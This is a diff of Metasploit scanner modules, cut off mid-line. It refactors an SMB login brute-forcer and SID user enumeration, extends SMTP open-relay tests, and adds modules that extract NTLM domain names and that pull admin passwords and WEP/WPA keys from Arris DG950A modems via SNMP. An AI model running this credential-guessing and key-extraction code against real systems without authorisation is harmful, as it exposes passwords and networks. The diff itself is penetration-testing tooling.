datastore['SMBPass'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['SMBUser'], + user_as_pass: datastore['USER_AS_PASS'], + realm: domain, + ) + + cred_collection = prepend_db_passwords(cred_collection) + cred_collection = prepend_db_hashes(cred_collection) + + @scanner.cred_details = cred_collection + + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) end - rescue ::Rex::ConnectionError - nil end end - def check_login_status(domain, user, pass) - connect() - status_code = "" - begin - simple.login( - datastore['SMBName'], - user, - pass, - domain, - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - - # Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect: - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - status_code = 'STATUS_SUCCESS' - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - status_code = e.get_error(e.error_code) - rescue ::Rex::Proto::SMB::Exceptions::LoginError => e - status_code = e.error_reason - ensure - disconnect() - end - - return status_code - end - - # If login is succesful and auth_user is unset - # the login was as a guest user. - def accepts_guest_logins?(domain) - guest = false - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - - guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?) - - if guest_login - @accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => 'accepts guest login from any account', - :update => :unique_data - ) - end - - return guest_login - end - - # If login is successul and auth_user is set - # then bogus creds are accepted. - def accepts_bogus_logins?(domain) - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?) - return bogus_login - end # This logic is not universal ie a local account will not care about workgroup # but remote domain authentication will so check each instance - def accepts_bogus_domains?(user, pass, rhost) - domain = Rex::Text.rand_text_alpha(8) - status = check_login_status(domain, user, pass) - - bogus_domain = valid_credentials?(status) - if bogus_domain - vprint_status "Domain is ignored" - end - - return valid_credentials?(status) - end - - def valid_credentials?(status) - return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status)) - end - - def try_user_pass(domain, user, pass) - # Note that unless PRESERVE_DOMAINS is true, we're more - # than happy to pass illegal usernames that contain - # slashes. - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(user) - user = u - domain = d if d - end - - user = user.to_s.gsub(//i,"") - status = check_login_status(domain, user, pass) - - # Match original output message - if domain.empty? || domain == "." - domain_part = "" - else - domain_part = " \\\\#{domain}" - end - output_message = "#{rhost}:#{rport}#{domain_part} - ".gsub('%', '%%') - output_message << "%s" - output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%') - - case status - when 'STATUS_SUCCESS' - # Auth user indicates if the login was as a guest or not - if(simple.client.auth_user) - print_good(output_message % "SUCCESSFUL LOGIN") - validuser_case_sensitive?(domain, user, pass) - report_creds(domain,user,pass,true) - else - if datastore['RECORD_GUEST'] - print_status(output_message % "GUEST LOGIN") - report_creds(domain,user,pass,true) - elsif datastore['VERBOSE'] - print_status(output_message % "GUEST LOGIN") - end - end - - return :next_user - - when *@correct_credentials_status_codes - print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" ) - report_creds(domain,user,pass,false) - validuser_case_sensitive?(domain, user, pass) - return :skip_user - - when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' - vprint_error(output_message % "FAILED LOGIN") - else - vprint_error(output_message % "FAILED LOGIN") - end - end - - def validuser_case_sensitive?(domain, user, pass) - if user == user.downcase - user = user.upcase - else - user = user.downcase - end - - status = check_login_status(domain, user, pass) - case_insensitive = valid_credentials?(status) - if case_insensitive - vprint_status("Username is case insensitive") - end - - return case_insensitive - end - - def note_creds(domain,user,pass,reason) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => {:user => user, :pass => pass, :status => reason}, - :update => :unique_data + def accepts_bogus_domains?(user, pass) + bogus_domain = @scanner.attempt_login( + Metasploit::Framework::Credential.new( + public: user, + private: pass, + realm: Rex::Text.rand_text_alpha(8) + ) ) + + return bogus_domain.success? end - def report_creds(domain,user,pass,active) - login_name = "" - - if accepts_bogus_domains?(user,pass,rhost) - login_name = user - else - login_name = "#{domain}\\#{user}" + def report_creds(ip, port, result) + if !datastore['RECORD_GUEST'] + if result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + return + end end - report_hash = { - :host => rhost, - :port => datastore['RPORT'], - :sname => 'smb', - :user => login_name, - :pass => pass, - :source_type => "user_supplied", - :active => active + service_data = { + address: ip, + port: port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: ( + Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password + ), + username: result.credential.public, + }.merge(service_data) + + if domain.present? + if accepts_bogus_domains?(result.credential.public, result.credential.private) + print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}") + else + credential_data.merge!( + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm + ) + end end - report_auth_info(report_hash) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: result.access_level, + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 99df43964d..20bf9ae419 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'SMB Local User Enumeration (LookupSid)', + 'Name' => 'SMB SID User Enumeration (LookupSid)', 'Description' => 'Determine what users exist via brute force SID lookups. This module can enumerate both local and domain accounts by setting ACTION to either LOCAL or DOMAIN', @@ -29,6 +29,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'DefaultOptions' => { + # Samba doesn't like this option, so we disable so we are compatible with + # both Windows and Samba for enumeration. 'DCERPC::fake_bind_multi' => false }, 'Actions' => @@ -49,6 +51,18 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RPORT', 'RHOST') end + # Constants used by this module + LSA_UUID = '12345778-1234-abcd-ef00-0123456789ab' + LSA_VERS = '0.0' + LSA_PIPES = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC } + + def rport + @rport || datastore['RPORT'] + end + + def smb_direct + @smbdirect || datastore['SMBDirect'] + end # Locate an available SMB PIPE for the specified service def smb_find_dcerpc_pipe(uuid, vers, pipes) @@ -128,24 +142,19 @@ class Metasploit3 < Msf::Auxiliary [ uinfo[3], name ] end - - @@lsa_uuid = '12345778-1234-abcd-ef00-0123456789ab' - @@lsa_vers = '0.0' - @@lsa_pipes = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC } - # Fingerprint a single host def run_host(ip) [[139, false], [445, true]].each do |info| - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] + @rport = info[0] + @smbdirect = info[1] lsa_pipe = nil lsa_handle = nil begin # find the lsarpc pipe - lsa_pipe = smb_find_dcerpc_pipe(@@lsa_uuid, @@lsa_vers, @@lsa_pipes) + lsa_pipe = smb_find_dcerpc_pipe(LSA_UUID, LSA_VERS, LSA_PIPES) break if not lsa_pipe # OpenPolicy2() @@ -201,11 +210,9 @@ class Metasploit3 < Msf::Auxiliary resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil domain_sid, domain_name = smb_parse_sid(resp) - # Store SID, local domain name, joined domain name print_status("#{ip} PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})") - domain = { :name => host_name, :txt_sid => host_sid, @@ -213,8 +220,17 @@ class Metasploit3 < Msf::Auxiliary :groups => {} } - target_sid = host_sid if action.name =~ /LOCAL/i - target_sid = domain_sid if action.name =~ /DOMAIN/i + target_sid = case action.name.upcase + when 'LOCAL' + host_sid + when 'DOMAIN' + # Fallthrough to the host SID if no domain SID was returned + unless domain_sid + print_error("#{ip} No domain SID identified, falling back to the local SID...") + end + domain_sid || host_sid + end + # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -263,16 +279,15 @@ class Metasploit3 < Msf::Auxiliary report_note( :host => ip, :proto => 'tcp', - :port => datastore['RPORT'], + :port => rport, :type => 'smb.domain.lookupsid', :data => domain ) print_status("#{ip} #{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]") - - # cleanup disconnect return + rescue ::Timeout::Error rescue ::Interrupt raise $! diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 5e44019df1..422ca47e6a 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -1,11 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'recog' class Metasploit3 < Msf::Auxiliary @@ -34,82 +34,120 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RPORT') + deregister_options('SMBDIRECT') + @smb_port = 445 + end + + def rport + @smb_port || datastore['RPORT'] + end + + def smb_direct + (@smb_port == 445) end # Fingerprint a single host + # def run_host(ip) - [[445, true], [139, false]].each do |info| - - datastore['RPORT'] = info[0] - datastore['SMBDirect'] = info[1] - self.simple = nil + smb_ports = [445, 139] + smb_ports.each do |pnum| + @smb_port = pnum + self.simple = nil begin res = smb_fingerprint() - if(res['os'] and res['os'] != 'Unknown') + # + # Create the note hash for smb.fingerprint + # + conf = { + :native_os => res['native_os'], + :native_lm => res['native_lm'] + } - case res['os'] - when /Windows/ - os = OperatingSystems::WINDOWS - else - case res['sp'] - when /apple/ - os = OperatingSystems::MAC_OSX - res['os'] = 'Mac OS X' - when /ubuntu/ - os = OperatingSystems::LINUX - res['os'] = 'Ubuntu' - when /debian/ - os = OperatingSystems::LINUX - res['os'] = 'Debian' - else - os = OperatingSystems::UNKNOWN - end + if res['os'] and res['os'] != 'Unknown' + + # + # Create the note hash for fingerprint.match + # + match_conf = { } + + # + # Create a descriptive string for service.info + # + desc = res['os'].dup + + if res['edition'].to_s.length > 0 + desc << " #{res['edition']}" + conf[:os_edition] = res['edition'] + match_conf['os.edition'] = res['edition'] end - desc = "#{res['os']} #{res['sp']} (language: #{res['lang']})" - if(simple.client.default_name) + if res['sp'].to_s.length > 0 + desc << " #{res['sp'].downcase.gsub('service pack ', 'SP')}" + conf[:os_sp] = res['sp'] + match_conf['os.version'] = res['sp'] + end + + if res['build'].to_s.length > 0 + desc << " (build:#{res['build']})" + conf[:os_build] = res['build'] + match_conf['os.build'] = res['build'] + end + + if res['lang'].to_s.length > 0 and res['lang'] != 'Unknown' + desc << " (language:#{res['lang']})" + conf[:os_lang] = res['lang'] + match_conf['os.language'] = conf[:os_lang] + end + + if simple.client.default_name desc << " (name:#{simple.client.default_name})" + conf[:SMBName] = simple.client.default_name + match_conf['host.name'] = conf[:SMBName] end - if(simple.client.default_domain) + if simple.client.default_domain desc << " (domain:#{simple.client.default_domain})" + conf[:SMBDomain] = simple.client.default_domain + match_conf['host.domain'] = conf[:SMBDomain] end print_status("#{rhost}:#{rport} is running #{desc}") + # Report the service with a friendly banner report_service( :host => ip, - :port => info[0], + :port => rport, :proto => 'tcp', :name => 'smb', :info => desc ) - conf = { - :os_flavor => res['os'], - :os_name => os, - } - - conf[:os_sp] = res['sp'] if res['sp'] - conf[:os_lang] = res['lang'] if res['os'] =~ /Windows/ - conf[:SMBName] = simple.client.default_name if simple.client.default_name - conf[:SMBDomain] = simple.client.default_domain if simple.client.default_domain - + # Report a fingerprint.match hash for name, domain, and language + # Ignore OS fields, as those are handled via smb.fingerprint report_note( :host => ip, - :port => info[0], + :port => rport, :proto => 'tcp', - :ntype => 'smb.fingerprint', - :data => conf + :ntype => 'fingerprint.match', + :data => match_conf ) - else - report_service(:host => ip, :port => info[0], :name => 'smb') - print_status("#{rhost} could not be identified") + desc = "#{res['native_os']} (#{res['native_lm']})" + report_service(:host => ip, :port => rport, :name => 'smb', :info => desc) + print_status("#{rhost}:#{rport} could not be identified: #{desc}") end + # Report a smb.fingerprint hash of attributes for OS fingerprinting + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :ntype => 'smb.fingerprint', + :data => conf + ) + disconnect break diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index 32b25218a4..115f935c72 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,11 +70,11 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) users_found = {} - result = nil # temp for storing result of SMTP request - code = 0 # status code parsed from result - vrfy = true # if vrfy allowed - expn = true # if expn allowed - rcpt = true # if rcpt allowed and useful + result = nil # temp for storing result of SMTP request + code = 0 # status code parsed from result + vrfy = true # if vrfy allowed + expn = true # if expn allowed + rcpt = true # if rcpt allowed and useful usernames = extract_words(datastore['USER_FILE']) cmd = 'HELO' + " " + "localhost" + "\r\n" @@ -94,20 +94,20 @@ class Metasploit3 < Msf::Auxiliary end domain = result.split()[1] - domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') + domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') vprint_status("#{ip}:#{rport} Domain Name: #{domain}") result, code = smtp_send("VRFY root\r\n") vrfy = (code == 250) - users_found = do_enum('VRFY', usernames) if (vrfy) + users_found = do_enum('VRFY', usernames) if (vrfy) if(users_found.empty?) # VRFY failed, lets try EXPN result, code = smtp_send("EXPN root\r\n") expn = (code == 250) - users_found = do_enum('EXPN', usernames) if(expn) + users_found = do_enum('EXPN', usernames) if(expn) end if(users_found.empty?) diff --git a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb new file mode 100644 index 0000000000..eae920be73 --- /dev/null +++ b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Smtp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SMTP NTLM Domain Extraction', + 'Description' => 'Extract the Windows domain name from an SMTP NTLM challenge.', + 'References' => [ ['URL', 'http://msdn.microsoft.com/en-us/library/cc246870.aspx' ] ], + 'Author' => [ 'Rich Whitcroft ' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(25), + OptString.new('EHLO_DOMAIN', [ true, 'The domain to send with the EHLO command', 'localhost' ]), + ], self.class) + + deregister_options('MAILTO', 'MAILFROM') + end + + def run_host(ip) + begin + domain = nil + connect + + unless banner + vprint_error("#{rhost}:#{rport} No banner received, aborting...") + return + end + + vprint_status("#{rhost}:#{rport} Connected: #{banner.strip.inspect}") + + # Report the last line of the banner as services information (typically the interesting one) + report_service(host: rhost, port: rport, name: 'smtp', proto: 'tcp', info: banner.strip.split("\n").last) + + # Send a EHLO and parse the extensions returned + sock.puts("EHLO " + datastore['EHLO_DOMAIN'] + "\r\n") + + # Find all NTLM references in the EHLO response + exts = sock.get_once.to_s.split(/\n/).grep(/NTLM/) + if exts.length == 0 + vprint_error("#{rhost}:#{rport} No NTLM extensions found") + return + end + + exts.each do |ext| + + # Extract the reply minus the first 4 chars (response code + dash) + e = ext[4..-1].chomp + + # Try the usual AUTH NTLM approach if possible, otherwise echo the extension back to server + if e =~ /AUTH.*NTLM/ + sock.puts("AUTH NTLM\r\n") + vprint_status("#{rhost}:#{rport} Sending AUTH NTLM") + else + sock.puts(e + "\r\n") + vprint_status("#{rhost}:#{rport} Sending #{e}") + end + + # We expect a "334" code to go ahead with NTLM auth + reply = sock.get_once.to_s + if reply !~ /^334\s+/m + vprint_status("#{rhost}:#{rport} Expected a 334 response, received #{reply.strip.inspect} aborting...") + break + else + # Send the NTLM AUTH blob to tell the server we're ready to auth + blob = "TlRMTVNTUAABAAAAt4II4gAAAAAAAAAAAAAAAAAAAAAFAs4OAAAADw==" + sock.puts(blob + "\r\n") + + # Capture the challenge sent by server + challenge = sock.get_once.to_s.split(/\s+/).last + + if challenge.length == 0 + vprint_status("#{rhost}:#{rport} Empty challenge response, aborting...") + break + end + + begin + # Extract the domain out of the NTLM response + ntlm_reply = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(challenge)) + if ! ntlm_reply && ntlm_reply.has_key?(:target_name) + vprint_status("#{rhost}:#{rport} Invalid challenge response, aborting...") + break + end + + # TODO: Extract the server name from :target_info as well + domain = ntlm_reply[:target_name].value.to_s.gsub(/\x00/, '') + if domain.to_s.length == 0 + vprint_status("#{rhost}:#{rport} Invalid target name in challenge response, aborting...") + break + end + + print_good("#{rhost}:#{rport} Domain: #{domain}") + report_note(host: rhost, port: rport, proto: 'tcp', type: 'smtp.ntlm_auth_info', data: { domain: domain }) + break + + rescue ::Rex::ArgumentError + vprint_status("#{rhost}:#{rport} Invalid challenge response message, aborting...") + break + end + end + end + + if ! domain + vprint_error("#{rhost}:#{rport} No NTLM domain found") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error + # Ignore common networking and response timeout errors + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index fa044d5937..e6dd07ca49 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,16 +16,26 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'SMTP Open Relay Detection', 'Description' => %q{ This module tests if an SMTP server will accept (via a code 250) - an e-mail from the provided FROM: address. If successful, a random - e-mail message may be sent to the named RCPT: address. + an e-mail by using a variation of testing methods. + Some of the extended methods will try to abuse configuration or mailserver flaws. }, 'References' => [ ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'], + ['URL', 'https://svn.nmap.org/nmap/scripts/smtp-open-relay.nse'], + ], + 'Author' => + [ + 'Campbell Murray', + 'xistence ', ], - 'Author' => 'Campbell Murray', 'License' => MSF_LICENSE ) + + register_options( + [ + OptBool.new('EXTENDED', [true, 'Do all the 16 extended checks', false]), + ], self.class) end def peer @@ -35,37 +45,82 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin connect + banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) + print_status("#{peer} - SMTP #{banner_sanitized}") + report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner) + + if datastore['EXTENDED'] + + if banner_sanitized =~ /220 (.*) / + serverhost = $1 + end + + mailfromuser = datastore['MAILFROM'].split("@").first + mailfromdomain = datastore['MAILFROM'].split("@").last + mailtouser = datastore['MAILTO'].split("@").first + mailtodomain = datastore['MAILTO'].split("@").last + + do_test_relay(1, "MAIL FROM:<>", "RCPT TO:<#{datastore['MAILTO']}>") + do_test_relay(2, "MAIL FROM:<#{datastore['MAILFROM']}>", "RCPT TO:<#{datastore['MAILTO']}>") + do_test_relay(3, "MAIL FROM:<#{mailfromuser}@#{serverhost}>", "RCPT TO:<#{datastore['MAILTO']}>") + do_test_relay(4, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@[#{rhost}]>") + do_test_relay(5, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}\%#{mailtodomain}@[#{rhost}]>") + do_test_relay(6, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}\%#{mailtodomain}@#{serverhost}>") + do_test_relay(7, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}@#{mailtodomain}\">") + do_test_relay(8, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}\%#{mailtodomain}\">") + do_test_relay(9, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@#{mailtodomain}@[#{rhost}]>") + do_test_relay(10, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}@#{mailtodomain}\"@[#{rhost}]>") + do_test_relay(11, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@#{mailtodomain}@#{serverhost}>") + do_test_relay(12, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<@[#{rhost}]:#{mailtouser}@#{mailtodomain}>") + do_test_relay(13, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<@#{serverhost}:#{mailtouser}@#{mailtodomain}>") + do_test_relay(14, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}>") + do_test_relay(15, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}@[#{rhost}]>") + do_test_relay(16, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}@#{serverhost}>") + else + do_test_relay(nil, "MAIL FROM:<#{datastore['MAILFROM']}>", "RCPT TO:<#{datastore['MAILTO']}>") + end rescue print_error("#{peer} - Unable to establish an SMTP session") return end - - banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) - print_status("#{peer} - SMTP #{banner_sanitized}") - report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner) - do_test_relay end - def do_test_relay - res = raw_send_recv("EHLO X\r\n") - vprint_status("#{peer} - #{res.inspect}") + def do_test_relay(testnumber, mailfrom, mailto) + begin + connect - res = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") - vprint_status("#{peer} - #{res.inspect}") + res = raw_send_recv("EHLO X\r\n") + vprint_status("#{peer} - #{res.inspect}") - res = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") - vprint_status("#{peer} - #{res.inspect}") + res = raw_send_recv("#{mailfrom}\r\n") + vprint_status("#{peer} - #{res.inspect}") - res = raw_send_recv("DATA\r\n") - vprint_status("#{peer} - #{res.inspect}") + res = raw_send_recv("#{mailto}\r\n") + vprint_status("#{peer} - #{res.inspect}") - res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") - vprint_status("#{peer} - #{res.inspect}") + res = raw_send_recv("DATA\r\n") + vprint_status("#{peer} - #{res.inspect}") - if res =~ /250/ - print_good("#{peer} - Potential open SMTP relay detected") - else - print_status "#{peer} - No relay detected" + res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") + vprint_status("#{peer} - #{res.inspect}") + + if res =~ /250/ + if testnumber.nil? + print_good("#{peer} - Potential open SMTP relay detected: - #{mailfrom} -> #{mailto}") + else + print_good("#{peer} - Test ##{testnumber} - Potential open SMTP relay detected: - #{mailfrom} -> #{mailto}") + end + else + if testnumber.nil? + print_status "#{peer} - No relay detected" + else + print_status "#{peer} - Test ##{testnumber} - No relay detected" + end + end + + rescue + print_error("#{peer} - Test ##{testnumber} - Unable to establish an SMTP session") + return end end end diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb index 3eb8bebc58..54069a0dfb 100644 --- a/modules/auxiliary/scanner/smtp/smtp_version.rb +++ b/modules/auxiliary/scanner/smtp/smtp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index 630b13f485..99d8353ee0 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb new file mode 100644 index 0000000000..a9661a68a4 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -0,0 +1,144 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Arris DG950A Cable Modem Wifi Enumeration', + 'Description' => %q{ + This module will extract WEP keys and WPA preshared keys from + Arris DG950A cable modems. + }, + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863'] + ], + 'Author' => ['Deral "Percent_X" Heiland'], + 'License' => MSF_LICENSE + ) + end + + def run_host(ip) + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /DG950A/ + print_line("#{ip}") + + # System Admin Password + wifi_info = '' + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_line("Password: #{password}") + wifi_info << "Password: #{password}" << "\n" + else + fail_with("Does not appear to be an Arris DG950A") + end + + # check WPA Encryption Algorithm + encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12') + case encrypt_type + when 1 + wpa_encrypt = "TKIP" + when 2 + wpa_encrypt = "AES" + when 3 + wpa_encrypt = "TKIP/AES" + else + wpa_encrypt = "Unknown" + end + + # Wifi Status + wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') + if wifi_status == '1' + ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12') + print_line("SSID: #{ssid}") + wifi_info << "SSID: #{ssid}" << "\n" + + # Wifi Security Settings + wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12') + if wifi_version == '0' + print_line('Open Access Wifi is Enabled') + wifi_info << 'Open Access WIFI is Enabled' << '\n' + + # Wep enabled + elsif wifi_version == '1' + wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12') + case wep_type + when 1 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12" + when 2 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12" + else + print_line('FAILED') + end + wepkey1 = snmp.get_value("#{oid}.1") + key1 = "#{wepkey1}" + print_line("WEP KEY1: #{key1}") + wifi_info << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value("#{oid}.2") + key2 = "#{wepkey2}" + print_line("WEP KEY2: 